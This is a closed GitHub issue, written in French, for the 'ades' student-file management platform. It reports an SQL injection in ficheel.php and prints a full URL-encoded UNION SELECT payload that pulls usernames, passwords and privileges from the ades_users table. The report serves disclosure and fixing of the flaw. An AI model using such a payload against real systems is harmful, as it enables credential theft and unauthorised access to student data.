search

tuan-tu-tran / ades

Plate-forme web de gestion de dossiers d'élèves pour éducateurs scolaires
www.educ-action.be
GNU General Public License v3.0
0 stars 0 forks source link

Injection sql dans la fiche élève #106

Closed tuan-tu-tran closed 9 years ago

tuan-tu-tran commented 9 years ago

Via la fiche élève il est possible d'injecter du sql qui permet de potentiellement récupérer le mot de passe admin pour un utilisateur qui n'est que educ ou readonly:

ficheel.php?ideleve=%27%20UNION%20SELECT%20"NULL1",%20"NULL2",%20"7",%20"NULL4",%20"NULL5",%20user,%20"NULL7",%20"NULL8",%20"NULL9",%20"NULL10",%20mdp,%20privilege,%20"NULL13",%20"NULL14",%20"NULL15",%20"NULL16",%20"NULL17",%20"NULL18",%20"NULL19"%20FROM%20ades_users%20UNION%20SELECT%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL,%20NULL%20from%20ades_faits%20WHERE%20%271%27=%27&mode=voir